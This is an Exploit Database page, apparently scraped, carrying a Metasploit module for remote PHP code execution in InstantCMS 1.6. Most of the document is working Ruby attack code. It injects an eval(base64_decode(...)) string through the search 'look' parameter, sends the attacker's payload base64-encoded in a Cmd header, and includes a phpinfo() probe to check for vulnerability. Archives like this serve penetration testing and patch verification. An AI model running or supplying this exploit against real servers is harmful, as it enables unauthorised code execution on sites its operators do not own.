InstantCMS 1.6 – PHP Remote Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2013-07-05
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/26622/

• require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
  'Description'=> %q{
  This module exploits an arbitrary php command execution vulnerability, because of a
  dangerous use of eval(), in InstantCMS versions 1.6.
  },
  'Author' =>
  [
  'AkaStep', # Vulnerability discovery and PoC
  'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
  'juan vazquez' # Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'BID', '60816' ],
  [ 'URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html' ]
  ],
  'Privileged' => false,
  'Platform' => 'php',
  'Arch' => ARCH_PHP,
  'Targets'=>
  [
  [ 'InstantCMS 1.6', { }],
  ],
  'DisclosureDate' => 'Jun 26 2013',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
  ], self.class)
  end
  
  def check
  res = send_request_cgi({
  'uri'=> normalize_uri(target_uri.to_s),
  'vars_get' =>
  {
  'view'=> 'search',
  'query' => '${echo phpinfo()}'
  }
  })
  
  if res
  if res.body.match(/Build Date/)
  return Exploit::CheckCode::Vulnerable
  else
  return Exploit::CheckCode::Safe
  end
  else
  return Exploit::CheckCode::Unknown
  end
  
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  return Exploit::CheckCode::Unknown
  end
  
  def exploit
  
  print_status("Executing payload...")
  
  res = send_request_cgi({
  'uri'=> normalize_uri(target_uri.to_s),
  'vars_get' =>
  {
  'view'=> 'search',
  'query' => rand_text_alpha(3 + rand(3)),
  'look'=> "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
  },
  'headers' => {
  'Cmd' => Rex::Text.encode_base64(payload.encoded)
  }
  })
  
  end
  end